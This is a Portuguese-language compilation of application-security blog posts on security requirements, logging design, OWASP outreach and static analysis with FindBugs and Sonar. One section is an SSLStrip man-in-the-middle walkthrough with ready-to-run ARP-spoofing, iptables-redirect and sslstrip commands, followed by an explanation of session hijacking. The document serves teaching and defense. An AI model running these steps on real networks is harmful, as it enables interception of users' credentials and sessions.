Requisitos de Segurança de Software

Os requisitos de segurança de software são o conjunto de necessidades de segurança que o software deve atender, sendo tais necessidades influenciadas fortemente pela política de segurança da organização, e compreendendo aspectos funcionais e não-funcionais. Os aspectos funcionais descrevem comportamentos que viabilizam a criação ou a manutenção da segurança e, geralmente, podem ser testados diretamente. Na maioria dos casos, remetem a mecanismos de segurança como, por exemplo, controle de acesso baseado em papéis de usuários (administradores, usuários comuns, entre outros.), autenticação com o uso de credenciais (usuário e senha, certificados digitais, entre outros.), dentre outros. Os aspectos não funcionais descrevem procedimentos necessários para que o software permaneça executando suas funções adequadamente mesmo sob uso indevido. São exemplos de requisitos não funcionais: validação de dados de entrada e a registro eventos em log de auditoria com informações suficientes para análise forense.

A elicitação de requisitos de segurança de software consiste na definição das necessidades de proteção exigidas pelo software. Tal atividade exige uma colaboração intensa entre os interessados no software, especialmente daqueles com visão negocial, que podem ter consciência das consequências no negócio decorrentes de incidentes de segurança, cujo vetor de ataque  se localize no software.
Algumas das técnicas mais usadas no levantamento de requisitos de segurança incluem:

• Brainstorming.
• Pesquisas de opinião (questionários e entrevistas).
• Decomposição da política.
• Classificação de dados.
• Matriz de objeto-sujeito.
• Modelagem de caso de uso e abuso.

Independente da técnica a ser usada, a elicitação de requisitos exige que pelo menos um dos participantes na atividade tenha densidade em segurança de software, para que os fluxos regulares que o software proverá ou já provêm sejam criticados, evidenciando maneiras de subvertê-los. A definição dos cenários negativos, cuja realização é indesejada, resultará no requisito de segurança. Segue, a título de ilustração, alguns exemplos de requisitos de segurança, retirados do livro Official (ISC)2 guide to the CSSLP by Mano Paul

Confidencialidade

• Senha e outros campos de entrada de dados sensíveis necessitam ser mascarados.
• Senhas não devem ser armazenadas as claras nos sistemas backend, e quando armazenadas devem passar por processo de hash com uma função pelo menos equivalente a SHA-256.
• Transport Layer Security (TLS) como Secure Socket Layer (SSL) deve ser colocado em prática para proteger contra ameaças internas de Man in the Middle (MITM) para todas as informações de cartão de crédito que seja transmitida.
• O uso de protocolos reconhecidamente inseguros como, por exemplo, File Transfer Protocol (FTP) para transmitir credenciais de contas em texto claro a terceiros fora de sua organização deve ser proibido.
• Arquivos de log não devem armazenar qualquer informação sensível como definido pelo negócio, de modo que seja compreensível por seres humanos.

Integridade

• Todos os formulários de entrada e query strings necessitam ser validadas frente a um conjunto de entradas aceitáveis, antes do software aceita-los para processamento.
• O software a ser publicado deve ser disponibilizado juntamente com o checksum e a função hash usada pra computar o checksum, de modo que o interessado possa validar sua precisão e completude.
• Todos os personagens não humanos como um sistema ou processos batch devem ser identificados, monitorados e impedidos de alteração de dados, a medida que ele passa no sistema que eles rodam, a não ser que explicitamente autorizado para tal.

Disponibilidade

• O software deve oferecer alta disponibilidade de oito (8) noves (9), como definido pelo SLA.
• O software deve estar preparado para atender capacidade máxima de 300 usuários simultâneos.
• O software e seus dados devem ser replicados por todos os centros de dados para prover balanceamento de carga e redundância.
• A funcionalidade de missão crítica no software deve ser restaurada a operação normal no prazo de 1 hora de descontinuidade; funcionalidade de missão essencial no software deve ser restaurada a operação normal no prazo de 4 horas da interrupção, e funcionalidade de missão suporte no software deve ser restaurada a operação normal no prazo de 24 horas.

Autenticação

• O software será implantado somente na Intranet e o usuário autenticado deve fornecer novamente suas credenciais para acessar a aplicação, uma vez que esteja autenticado na rede.
• O software deverá suportar single sign on a terceiros e fornecedores que estão definidos na lista de interessados.
• A política de autenticação garante a necessidade para dois – ou autenticação com múltiplos fatores para todos os softwares de processamento financeiro.

Autorização

• O acesso a arquivos secretos de alta sensibilidade deve ser restrito somente a usuários com níveis de permissão secreto e super-secreto.
• Os usuários não devem ser demandados a enviar suas credenciais sempre, uma vez que ele tenha se autenticado com sucesso.
• Todos os usuários autenticados herdarão a permissão de leitura somente que são parte do papel do usuário convidado enquanto os usuários autenticados por padrão terão permissão de leitura e escrita como parte do papel de usuário regular. Somente os usuários com acesso administrativo, terão todos os direitos dos usuários regulares, adicionalmente a execução de operações.

Auditing and Logging

• Todas as tentativas de logon devem ser registradas juntamente com o timestamp e o endereço de IP de origem da requisição.
• Os valores anterior e posterior a uma mudança de preço modificado por um usuário, quando da atualização de um preço por um usuário, devem ser monitorados com os seguintes campos auditados: identidade, ação, objeto e timestamp.
• Os logs de auditoria devem sempre ser adicionados de novos registros e nunca sobrescritos.
• Os logs de auditoria devem ser mantidos de forma segura por um período de 3 anos.
• Gerenciamento de Sessão 
• Cada atividade do usuário deverá ser rastreada de modo único.
• O software não deve solicitar as credenciais de acesso do usuário, uma vez que ele esteja autenticado no Internet Banking.
• As sessões devem ser explicitamente suspensas quando o usuário solicita o log off ou fecha a janela do browser. 
• Identificadores de sessão usados para identificar a sessão de usuários devem não ser passados em claro ou ser facilmente adivinhado.

Erros e Gerenciamento de Exceção

• Todos os erros e exceções devem ser explicitamente manipulados a partir de blocos try, catch e finally.
• Mensagens de erro que são mostradas ao usuário revelarão somente a informação necessária, sem vazamento de detalhes internos do sistema na mensagem de erro.
• Detalhes de exceções de segurança devem ser auditados e monitorados periodicamente.
• Parâmetros de Configuração
• Os dados sensíveis do arquivo de configuração da aplicação web, como strings de conexão, devem ser encriptados .
• Senhas e chaves de criptografia não devem ser registradas no código fonte do software.
• A inicialização e a liberação de variáveis globais necessitam ser monitoradas com muito cuidado.
• Eventos de inicialização e interrupção de sessão devem incluir proteções na informação de configuração como uma salvaguarda contra ameaças de vazamento.

Common Criteria como Fonte de Conteúdo para Logging

O Commom Criteria (CC) ou ISO 15408 continua sendo a principal referencia para certificação de segurança de sistemas. Eu particularmente não penso que essa referência auxilie muito quando se trata de segurança de aplicações. 

Ouso dizer que o OWASP Top 10 sozinho fez e faz muito mais diferença para comunidade de desenvolvimento de software que deseja mudar a realidade de suas aplicações em termos de segurança. Se considerarmos outros ativos da OWASP como os cheat sheets, ASVS, Test Guide a disputa passa a ser covardia. Penso que o CC esteja mais alinhado com outro modelo o SSE-CMM, que se tornou um ilustre desconhecido para a comunidade de segurança em SDLC. 

Mas mesmo que no todo o CC se revele inapropriado para appsec, seus controles continuam sendo muito pertinentes e podem inspirar em muito a discussão sobre oportunidades de melhoria de segurança. Para ilustrar essa minha impressão, resolvi mapear eventos que o CC recomenda que sejam monitorados pelo serviço de logging, que compartilho a seguir:

• Ações empreendidas pela aplicação em decorrência de violações de segurança. 
• Ativação ou desativação de mecanismos de análise de auditoria. A aplicação pode ser instrumentalizada com mecanismo que analisem ostensivamente seu comportamento, na tentativa de reconhecer ações suspeitas. Tais mecanismos podem variar de um conjunto de regras fixas de eventos suspeitos até heurísticas avançadas que revele ações suspeitas pela correção de múltiplos eventos associados a cenários de ataque. 
• Os eventos devem estar relacionados a identidade do usuário, para que a responsabilização pela execução do evento seja garantida.
• Ações empreendidas pela aplicação quando ao exceder os limites relacionados ao armazenamento de registros (ex. rotação de arquivo por data, dimensão do arquivo).
• Ações empreendidas pela aplicação em decorrência de falha do receptor dos registros de logging.
• Requisições bem sucedidas de operação em objetos sensíveis da aplicação.
• Todas as requisições de operação em objetos sensíveis da aplicação.
• Os atributos de segurança usados para verificação do direito de acesso a objetos sensíveis.
• Verificações bem sucedidas de autenticidade de informação consumida pela aplicação.
• Todas as verificações de autenticidade de informação consumida pela aplicação.
• Execução com sucesso de rotinas de exportação de dados da aplicação.
• Todos os tipos de execução de rotinas de exportação de dados da aplicação.
• Superação do limite estabelecido pelas tentativas de autenticação, a ação decorrente (ex.  bloqueio da senha), e restauração do estado normal (ex. desbloqueio da senha).
• Rejeição de segredo fornecido a aplicação (ex. senha, frase).
• Rejeição e aceite de segredo fornecido a aplicação (ex. senha, frase).
• Mudança nas métricas de qualidade de segredos.
• Uso mal sucedido de determinado mecanismo de autenticação
• Todos os usos do mecanismo de autenticação
• Tentativa mal sucedida de associar os atributos de segurança de determinada identidade ao respectivo sujeito (ex. criação do sujeito).
• Tentativa mal ou bem sucedida de associar os atributos de segurança de determinada identidade ao respectivo sujeito (ex. sucesso ou falha na criação do sujeito).
• Uso de mecanismo de anonimização de sessão.
• Rejeição de nova sessão ou suspensão de sessão ativa em decorrência da superação do número máximo de sessões concorrentes.
• Suspensão da sessão do usuário em decorrência de período de inatividade superior ao permitido.
• Início de sessão do usuário.

Como pode ser observado, o CC sugere eventos muito interessantes a serem monitorados pelo serviço de logging. Considerando que uma das atividades mais complexas do projeto de logging é a definição dos eventos que ameaçam a aplicação, e por consequência serão monitorados pelo serviço, essa lista não pode ser ignorada. Ainda, a sua simples existência revela o potencial do modelo CC, como fonte de pesquisa para controles de segurança.

OWASP Brasília

Há quase 1 ano, registrei neste post as minhas impressões sobre a realidade da segurança de aplicações na perspectiva da conscientização do desenvolvedor no mercado de Brasília. Na ocasião, em mais de 180 desenvolvedores treinados em segurança de software, NENHUM havia ouvido falar na OWASP, e alguns tinham visto o termo XSS em alguma manchete de TI.

Na oportunidade, joguei luz sobre algumas questões inerentes a liderança de um Capítulo da OWASP que poderiam não estar na ordem do dia de algum líder.

Infelizmente neste ano que se passou, nada mudou na condução do Capítulo Brasília da OWASP, apesar de ter havido nesse ínterim a mudança da liderança. Muito provavelmente, os desenvolvedores continuam ignorando a existência da OWASP, bem como das técnicas que poderiam impor mais dificuldade aos atacantes aí fora.

Convictos dessa realidade adversa e dos desafios para liderar um Capítulo da OWASP e disseminar a segurança de aplicação, resolvemos (@Klaubert, @Br3n0S1lv4, @DiogoRispoli e eu) reativar o Capítulo Brasília.

Compartilho com vocês essa novidade e peço a sua ajuda para disseminar a segurança de aplicação na capital federal. 

Como você pode ajudar? Sua organização possui equipe de desenvolvimento de software? Organize um evento interno ou externo que trate do tema segurança de aplicação. A OWASP Brasília levará o palestrante. Segue uma lista de palestras pré-definidas para facilitar.

### Palestras ###

OWASP Top 10
O OWASP Top 10 é um projeto desenvolvido pela OWASP com o objetivo de disseminar o conhecimento sobre os 10 maiores riscos de segurança que as aplicações web estão suscetíveis. Nesta palestra apresentaremos a metodologia usada para classificar tais riscos, os detalhes relativos aos 10 maiores riscos e suas vulnerabilidades e os respectivos controles para dificultar a sua exploração.

Codificação Defensiva
Seria impossível ensinar para um motorista todas as possibilidades de acidentes que ele poderia vivenciar antes dele assumir o volante pela primeira vez, dado a infinita combinação de cenários que poderiam decorrer em um sinistro. Apesar disso, uma abordagem bastante usada é a direção defensiva, pela qual o motorista aprenda técnicas curinga que poderiam ser aplicadas a um conjunto de situações de risco. A codificação defensiva, tema desta palestra, se baseia no mesmo princípio, preparando o desenvolvedor para instrumentar seu código para que a aplicação esteja preparada para se defender de diversos riscos, mesmo que o desenvolvedor não tenha o conhecimento detalhado sobre cada um deles.

OpenSAMM
Como nenhuma organização tem recursos ilimitados para investir em segurança de aplicações, necessariamente ela necessitará priorizar as ações que lhe deem o maior retorno. Esta palestra apresenta o modelo OpenSAMM, cujo objetivo é auxiliar as organizações a estruturar um programa de melhoria contínua do SDLC (ciclo de vida de desenvolvimento de software) para incorporar práticas de segurança mais apropriadas, considerando as suas particularidades.

ModSecurity: Firewall OpenSource para Aplicações Web (WAF)
Com a crescente complexidade e importância das aplicações web, prazos curtos para desenvolvimento, novas técnicas de ataque, regulações, busca por melhores práticas e a falta de atenção e/ou foco do desenvolvedor com a segurança, torna-se necessário adicionar uma nova camada de segurança para aplicações web, os "firewall de aplicações web" ou WAF's. Esta apresentação introduzirá os conceitos de WAF, e em especial o ModSecurity, Firewall OpenSource para Aplicações Web, uma poderosa ferramenta desenhada para entender e proteger as aplicações web nos seus mais variados tipos. Serão apresentadas suas funcionalidades, bem como ele pode ajudar no dia a dia de um site web, seja na monitoração, proteção ou mesmo na depuração das aplicações web. Também será apresentada o WAF-FLE, console open source para visualização de eventos para o ModSecurity

Usando protocol Hmac-Based para reduzir superfície de ataque.
Proteger uma aplicação web é uma tarefa que envolve uma estratégia de defesa em profundidade. Aplicações web possuem características como sua grande superfície de ataque, que favorecem os atacantes. Reduzir essa superfície não é uma tarefa fácil, porém importante para aumentar o nível de segurança desse tipo de aplicação. Nesta apresentação será descrito um protocolo baseado em um algoritmo criptográfico chamado HMAC que pode ser utilizado para proteger e reduzir significativamente a superfície de ataque de aplicações web, sem a necessidade de modificá-las. Durante a apresentação serão realizadas demonstrações de uma implementação do palestrante, open source e publicamente disponível.

Evento SECURITY_AUDIT da ESAPI

Assim como publicado no Javadoc da ESAPI (aqui), o seu logging permite usarmos a dimensão segurança para categorizar os eventos. Estão disponíveis as seguintes categorias:

• EVENT_FAILURE – eventos não relacionados a segurança que apresentaram falhas.
• EVENT_SUCCESS – eventos bem sucedidos não relacionados a segurança.
• EVENT_UNSPECIFIED – eventos não relacionados a segurança sem determinação do seu sucesso/falha.
• SECURITY_AUDIT – eventos associados a uma trilha de auditoria, cujo resultado pode ser de sucesso ou falha ou ser irrelevante.
• SECURITY_FAILURE – eventos relacionados a segurança que apresentaram falhas.
• SECURITY_SUCCESS – eventos bem sucedidos não relacionados a segurança. 

A classificação de registros de log pela segurança repercute muito positivamente no trabalho de resposta e prevenção de incidentes. Caso essa lista não atenda as suas necessidades, ela pode ser facilmente extendida.

Eu particularmente acredito que ela seja mais do que suficiente. De fato, não faria nenhuma adição de categoria. Ao contrário, faria  apenas a subtração de SECURITY_AUDIT, pois no meu entendimento, todas as outras categorias podem, eventualmente, compor a trilha de auditoria. A reprensentação mais adequada delas, considerando esse entendimento, seria o diagrama de venn abaixo:

FindBugs Gerenciado pelo Sonar

O FindBugs é uma ferramenta de revisão estática de código fonte que analisa código Java. A efetividade de uma ferramenta de análise estática é consequência principalmente do conjunto de regras ou assinaturas que ela possui. Para o caso do Findbugs, existem duas categorias de regras que merecem maior atenção da segurança. São elas : malicious code e security. As regras que estes dois conjuntos englobam podem ser observadas na tabela a seguir:

Categoria	Regra
MALICIOUS CODE	DP_CREATE_CLASSLOADER_INSIDE_DO_PRIVILEGED
MALICIOUS CODE	DP_DO_INSIDE_DO_PRIVILEGED
MALICIOUS CODE	EI_EXPOSE_REP
MALICIOUS CODE	EI_EXPOSE_REP2
MALICIOUS CODE	FI_PUBLIC_SHOULD_BE_PROTECTED
MALICIOUS CODE	EI_EXPOSE_STATIC_REP2
MALICIOUS CODE	MS_CANNOT_BE_FINAL
MALICIOUS CODE	MS_EXPOSE_REP
MALICIOUS CODE	MS_FINAL_PKGPROTECT
MALICIOUS CODE	MS_MUTABLE_ARRAY
MALICIOUS CODE	MS_MUTABLE_HASHTABLE
MALICIOUS CODE	MS_OOI_PKGPROTECT
SECURITY	DMI_CONSTANT_DB_PASSWORD
SECURITY	DMI_EMPTY_DB_PASSWORD
SECURITY	HRS_REQUEST_PARAMETER_TO_COOKIE
SECURITY	HRS_REQUEST_PARAMETER_TO_HTTP_HEADER
SECURITY	SQL_NONCONSTANT_STRING_PASSED_TO_EXECUTE
SECURITY	XSS_REQUEST_PARAMETER_TO_JSP_WRITER
SECURITY	XSS_REQUEST_PARAMETER_TO_SEND_ERROR
SECURITY	XSS_REQUEST_PARAMETER_TO_SERVLET_WRITER

O baixo número de regras, nem a limitação para avaliação de outras linguagens, como JSP ou o framework JSF, não são justificativas para descartar o uso dessa ferramenta, uma vez que a sua varredura pode revelar alguns dos riscos de segurança mais críticos como, por exemplo, SQLInjection e XSS. Outro ponto forte do Findbugs é a sua gratuidade.

A execução de varredura pelo Findbugs é tão simples, quanto o entendimento de seus parâmetros de  linha de comando. Segue o exemplo de comando:

<caminho máquina para o findbugs>/findbugs/lib/findbugs.jar -textui -effort:max -sortByClass -low -html -output <caminho destino do relatório>/findbugs.html <caminho onde se encontra jar>/teste.jar

Os detalhes sobre os parâmetros podem ser observados aqui.

Entretanto, na maioria dos casos, existe a  necessidade de revisar o resultado da varredura, eliminando os falsos positivo. Além disso, é desejável que se tenha um histórico do bugs revelados e de suas correções. Esses recursos não são nativos do Findbugs. Uma das alternativas, além de escrever seu próprio aplicativo bugtracker é o uso do Sonar.

O Sonar é uma plataforma para gestão de qualidade de código que já possui instalada em sua versão de instalação o plugin do Findbugs. Por ela, é possível gerenciar dentre diversos bugs, aqueles revelados pelo Findbugs. 

Como a documentação do Sonar é muito completa, registro alguns pontos relevantes para colocá-lo em uso.

Download

http://www.sonarsource.org/downloads

Instalação

http://docs.codehaus.org/display/SONAR/Install+Sonar

http://docs.codehaus.org/display/SONAR/Analyse+with+Ant+Task

Configuração

Como nosso enfoque é segurança, vamos configurá-lo para que use somente as regras de segurança do Findbugs. Para as configurações relacionadas a seguir considere a instalação padrão do Sonar.

1. Acesse o link http://127.0.0.1:9000/profiles

2. Copie o profile  Sonar way with Findbugs e dê o nome Findbugs-Sec

3 - Clique no botão Set as default.

4 - Entre no profile Findbugs - Sec e desative todas as regras.

5 - Ative todas as regras da categoria Security:

6 -  Ative todas as regras da categoria Malicious Code.

A partir deste ponto o Sonar está preparado para usar apenas as regras das categorias Security e Malicious Code.

Varredura

Para realizar a varredura existem três possibilidades (Maven, Ant e Java Runner), mas optamos pelo uso do Ant.

No arquivo build.xml de sua aplicação, introduza o conteúdo a seguir:

Agora, basta rodar o Ant direcionando para a tarefa sonar (ex.: .\ant  sonar). No exemplo da imagem a seguir, foi realizada a varredura do Webgoat 5.2.

Arremate

Com o Sonar em operação pode-se monitorar a evolução dos bugs de segurança com maior facilidade. O exemplo abaixo mostra o resultado de duas varreduras no Webgoat 5.2, sendo que uma mudança no código gerou uma vulnerabilidade Blocker e eliminou outra Critical.

É importante ressaltar que os resultados são provenientes do Findbugs, consequência do seu conjunto de regras, mostradas anteriormente.

O uso dos recursos apresentados aqui são mais apropriados para casos em que a organização esteja pensando em adotar uma ferramenta de análise estática de segurança de código fonte. Considero a sua operação, como um primeiro passo antes da aquisição de ferramentas de mercado.

A OWASP, você e a segurança de software

Na última semana concluímos uma maratona de treinamento introdutório em segurança de software. Foram 9 turmas, alcançando 183 profissionais, envolvendo programadores, analistas de teste, analista de infraestrutura, arquitetos e outros. A experiência foi parte de um programa de segurança de software orientado pelas práticas do Build Security In Maturity Model (BSIMM). Neste caso, atendendo as seguintes atividades da prática Treinamento:

• T1.1 - Forneça treinamento de conscientização.
• T2.2 - Crie/use material específico da história da empresa.
• T3.2 - Forneça treinamento para fornecedores e profissionais terceirizados.

Ao longo do treinamento procurei registrar o estado da turma acerca da segurança de software observando as seguintes questões:

• Quem já vivenciou algum treinamento em segurança de software? Ressaltando que treinamento em segurança da informação, apesar de muito oportuno, não é a mesma coisa.
• Quem conhecia Injeção de SQL?
• Quem conhecia Cross Site Scripting (XSS)?
• Quem conhecia a OWASP?

Dos 183 alunos, 14(7,65%) já haviam participado de treinamento em segurança de software, 32 (17,5%) conheciam Injeção de SQL, 1(0,5%) conhecia XSS e nenhum aluno conhecia o termo OWASP.

Os dados em si, não são muito reveladores, uma vez que é amplamente difundida a defasagem dos profissionais do mercado em segurança de software (aqui). Mesmo tendo isso em mente, surpreende o fato de nenhuma pessoa ter sequer ouvido falar no termo OWASP.

É preocupante, pois a OWASP está ai fora há quase 10 anos e isso (desconhecimento) pode impedir que ela alcance o seu propósito: “Be the thriving global community that drives visibility and evolution in the safety and security of the world’s software.” (aqui).

Talvez seja esse o principal desafio para o próximo board (aqui) da OWASP. Eu, particularmente, tenho plena convicção que os desenvolvedores podem promover mudanças sensíveis na segurança do seu software, a partir de simples sensibilização e instrução de técnicas de defesa. Não há, no meu entendimento, outro movimento/canal no momento, com maior concentração e organização de conteúdo sobre a segurança de software. O maior problema é que a mensagem de segurança não chega até o desenvolvedor.

Uma vez que o problema está exposto, o que podemos fazer para mudar esse cenário? Seguem duas sugestões, pra começar:

• Sustente - Você que consome o conteúdo OWASP, qual foi a última vez que você divulgou o projeto? Por que não falar para o desenvolvedor que se encontra do seu lado, ou aquele colega de universidade sobre a segurança de software e a OWASP para sua pesquisa? Estabeleça sua meta de disseminação. Obviamente, você pode contribuir, produzir conteúdo, traduzir, etc.

• Fiscalize - Você que está associado a algum capítulo da OWASP, conhece o board? Você sabia que a OWASP recomenda fortemente que haja pelo menos dois líderes para que as atividades sejam distribuídas (aqui)? Qual foi o último evento promovido pelo seu capítulo? O board do seu capítulo está comprometido com a OWASP ou somente com a sua autopromoção? Qual a disponibilidade do board para as atividades do capítulo? Seu capítulo é considerado ativo (>5 eventos ano)? Cobre!

E você, o que tem a sugerir? Escreva ai embaixo!

Um ataque man-in-the-middle ao SSL via SSLStrip

No ataque man-in-the-middle (MITM) o atacante intercepta a conexão entre a vítima e o servidor de maneira a analisar todos os dados da comunicação, conforme representado pela Figura 1. Além disso, o atacante “finge” ser a vítima na comunicação com o servidor. Uma condição para execução do man-in-the-middle é que a vítima e o atacante estejam na mesma subrede.

Para este teste aconselha-se a utilização da distribuição linux BackTrack, que apresenta na sua versão 5 várias ferramentas para teste de penetração. Dentre elas existem 6 para análise do SSL: ssldump, sslh, sslsniff, sslstrip, testssl.sh e thcsslcheck.

Figura 1 – Ataque man-in-the-middle, fonte OWASP.

SSLStrip

O SSLStrip é uma ferramenta desenvolvida por Moxie Marlinspike, apresentada pela primeira vez na black hat 2009 na palestra “New Tricks For Defeating SSL In Practice”. Pode-se descrever brevemente o funcionamento do SSLStrip da seguinte maneira:

A partir de um ataque de arp spoofing é possível modificar o cache arp da máquina da vítima de maneira que o endereço MAC do atacante se passe pelo endereço MAC do roteador, assim o alvo começa a enviar para o atacante todo o seu tráfego. O kernel da máquina do atacante redireciona o tráfego que não é destinado a porta 80 (http) ou 443 (https) para o roteador autêntico. O tráfego destinado para a porta 80 (http) ou 443 (https) é redirecionado para uma porta de escuta $listenPort, que por padrão é a 10000. Neste ponto, o SSLStrip recebe o tráfego http e realiza o ataque.

Portanto podemos dividir o ataque em 4 passos realizados a partir da máquina do atacante:

1. Ativar o modo de redirecionamento de todo tráfego que passa pela máquina pelo comando:
   echo "1" > /proc/sys/net/ipv4/ip_forward
2. Configurar a tabela de roteamento (iptables) para redirecionar o tráfego HTTP para o SSLStrip pelo comando:
   iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port "listenport"
3. Rodar o SSLStrip especificando a porta de escuta, caso não seja passada nenhuma porta como argumento será considerada a 10000:
   sslstrip.py -l "listenport"
4. Rodar o arpspoof com o intuito de configurar todas as máquinas da subrede a enviarem seus respectivos tráfegos:
   arpspoof -i "interface" -t "targetip" "gatewayip"

Exemplo de execução dos passos

1. echo "1" > /proc/sys/net/ipv4/ip_forward
2. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
3. sslstrip.py -l 10000
4. Em outro terminal: arpspoof -i eth0 -t 10.0.0.15 10.0.0.254

Sessão

O SSLStrip pode possibilitar um ataque de sequestro de sessão. Este ataque consiste em explorar o mecanismo de controle de sessão, o qual é normalmente gerenciado através de um token de sessão. Após decifrar a conexão através do SSLStrip o atacante consegue visualizar toda a requisição HTTP, portanto também terá acesso ao token de sessão. De posse do token de sessão o atacante pode forjar requisições como se fossem originadas pelo usuário legítimo.Exemplo de uso do SSLStrip para realizar um sequestro de sessão:

Logging de Aplicação

O logging é uma dimensão muito importante de uma aplicação, mas que é amplamente negligenciada durante o seu processo de design, assim como a segurança de software. Não é a toa que uma das práticas iniciais recomendadas pelo BSIMMv2 (AA1.1) dê enfoque aos mecanismos de segurança, conteúdo no qual o logging se enquadra.

Talvez seja o fato dos principais interessados: auditor, desenvolvedor e administrador do sistema, não estarem tão interessados assim, desde o princípio (abordagem build security outside in). O administrador do sistema normalmente não é estimulado a pensar nos sinais que a aplicação deva lhe fornecer para atuar diante de questões de produção. O auditor só chega em cena, depois que o circo começa a pegar fogo, ou por imposição regulatória. Já o desenvolvedor, se vale das ferramentas de debug para resolver os problemas de código, desdenhando do log.

Mas considere que você esteja numa situação privilegiada, na qual pode pensar em logging antes que necessite de fato do log. Que caminho seguir? De forma bem objetiva e resumida recomendaria as seguintes etapas para o sucesso da sua iniciativa de logging.

Reconheça a aplicabilidade do log
Para reconhecer a aplicabilidade é fundamental levantar que cenários serão tratados pela sua organização. Isso pode partir das atividades comuns dos papéis citados anteriormente. Por exemplo, o auditor precisará atuar diante de cenários que envolvam ataques, uso inadequado e falhas. Já o desenvolvedor e o administrador se interessariam mais por cenários de falhas, erros e desempenho. Inclua as seguintes questões durante a sua análise:

• A que servirá o log? Essa questão lhe ajudará a se afastar da tecnologia e perceber que o log possui um objetivo e que este deve ser o foco. Temos alguns exemplos:
• Garantir não repúdio de ações executadas por usuários autênticos.
  
• Reconhecer fluxos de execução ou entradas para a aplicação reconhecidamente suspeitas.
  
• Identificar a linha do código fonte que comprometeu a execução da aplicação.
• Mostrar a pilha de execução relacionada a determinado falha da aplicação.
• Recuperar os dados que eram processados no momento de alguma falha.
• Reconhecer quando determinados eventos são iniciados e concluídos.
• Reconhecer o tempo de processamento de determinadas ações da aplicação.
• Reconhecer o estado de recursos, como espaço disponível em disco.
• Como o log será consumido? Essa questão vai influenciar diretamente no conteúdo do log, que deverá ser elaborado para que as diferentes formas de consumo sejam possíveis.
• Manualmente com/sem apoio de ferramentas automatizadas ou automaticamente. 
• Qual a origem dos registros do log? Definição que lhe orientará quanto a dinâmica para consolidar os registros, além de dar um tratamento homogêneo independente da origem.
• Aplicação, WAF, servidor de aplicação, etc.
• Como o log será armazenado? Sua infraestrutura terá que estar preparada para receber os registros, garantir a sua segurança, oferecer acesso concorrente, etc.
• Arquivo, banco de dados e/ou console.
• Dimensão máxima da base.
• Segmentação do arquivo.

Defina o conteúdo do log
Uma vez que se tem a noção do que se espera do log e do ambiente em que ele estará inserido, chega o momento da definição do seu conteúdo. Uma abordagem bastante interessante é o reconhecimento dos eventos que devem ser encontrados no log. Como nosso interesse está muito voltado para segurança, nada mais natural que tratar de tais eventos. Anton Chuvakin e Gunnar Peterson sugerem os seguintes eventos:

• Autenticação, autorização e acesso:
• Decisões com falha ou sucesso relacionadas a autorização e autenticação.
• Acesso a sistema, a dados e componentes; e
• Acesso remoto, incluindo aqueles entre componentes de uma mesma aplicação em ambientes distribuídos.
• Mudanças:
• Mudanças em sistema ou aplicação (especialmente quando envolva alteração de privilégios).
• Mudanças de dados (incluindo a criação e destruição), e
• Instalação e mudanças em componentes e aplicações.
• Problemas de disponibilidade:
• Inicio e encerramento de sistemas, aplicações e módulos ou componentes de aplicações, e
• Sucesso e falhas de backup que afete disponibilidade.
• Problemas com recursos:
• Recursos excedendo suas capacidades.
• Problemas com conectividade.
• Limites estourados.
• Indicação de ameaças:
• Entradas inválidas ou outros abusos da aplicação.
• Outros problemas com a aplicação que comprometa a sua operação.

É praticamente impossível levantar todos os eventos de uma aplicação, mas quanto mais ampla for a lista, mais condições se tem de conduzir a forma de elaboração do registro. Definidos os eventos, você pode estabelecer uma convenção de dados do registro relacionado a cada evento. Essa é uma forma de reduzir o poder discricionário do desenvolvedor em definir o conteúdo do log, fonte patente de problemas.

Definidos os eventos, é recomendável usar uma forma de categorização dos registros do log. Tal categorização lhe permite priorizar sua atenção diante dos eventos produzidos pela aplicação. A maneira amplamente difundida é pela sua prioridade ou criticidade, que na maioria dos casos varia de trace, nível menos crítico, até fatal, nível mais crítico. A justificativa para cada categoria segue abaixo:

• FATAL – apropriado para eventos que indiquem uma falha crítica de serviço. Se um serviço emitir um erro FATAL, ele está completamente incapaz de responder. Ex. Indisponibilidade total de um dos componentes-chave da aplicação.
• ERRO – apropriado para eventos que indiquem uma descontinuidade em uma requisição ou habilidade do serviço em responder. Um serviço deve ter alguma capacidade de continuar a responder a requisições mesmo na presença de ERROs. Os ERROs não podem ser tolerados pela aplicação e devem ser investigados imediatamente.
• AVISO – apropriado para eventos que indiquem um erro não crítico em determinado serviço. Erros resumidos ou brechas menores em requisições recaem sobre essa categoria. A distinção entre AVISO e ERRO é muito tênue. Um critério simples é se a falha resulta em chamada de suporte pelo usuário. Caso a resposta seja positiva, escolha ERRO, caso contrário use AVISO. Os AVISOs podem ser tolerados pela aplicação, mas devem sempre ser justificados e examinados. Ex. Aplicação operando em modo debug. O console da aplicação não impõe controle de acesso.
• INFO – apropriado para eventos do ciclo de vida de serviços e outras informações cruciais relacionadas. Mensagens INFO para uma determinada categoria de serviço devem revelar qual o estado corrente do serviço. Outra definição de mensagens INFO, registram ações que alteram significativamente o estado da aplicação. Ex. Atualização do banco de dados, requisição.
• DEBUG – apropriado para mensagens que incorporam informações extras aos eventos de ciclo de vida. Informação de desenvolvimento ou mais aprofundada necessária para o suporte é a base para esta prioridade. Pode-se considerar a pilha de execução e mensagens trocadas com sistemas externos a aplicação.
• TRACE – informação muito detalhada de interesse de desenvolvedores. Tais mensagens são mantidas por um período de tempo muito pequeno quando a aplicação entra em produção e devem ser consideradas temporárias. A dificuldade em se distinguir mensagens DEBUG e TRACE é a mais elevada. Uma vez que se considere um bloco de instruções de logging  desprezível após o desenvolvimento e teste da aplicação, provavelmente ele deve ser classificado como TRACE. Estas mensagens podem conter, por exemplo, além dos métodos de classes no fluxo de execução, os argumentos que cada método recebe e devolve.

As categorias citadas anteriormente servem apenas como um exemplo a ser considerado para definir as categorias que fizerem sentido para os objetivos do logging .

Outra dimensão recomendada para categorizar os registros é a segurança. Todos os eventos considerados por Anton Chuvakin e Gunnar Peterson recaem sobre essa categoria.

Disponibilize o mecanismo de logging
A maneira mais recomendada para conceber um mecanismo de logging é adaptar uma das diversas bibliotecas disponíveis de acordo com suas necessidades.
Dentre as funcionalidades oferecidas por uma biblioteca de logging, as seguintes se destacam:

• Administração da saída (dimensão, backup, divisão, gravação, etc.)
• Classificação dos registros (criticidade/prioridade/segurança).
• Gerenciamento de concorrência.

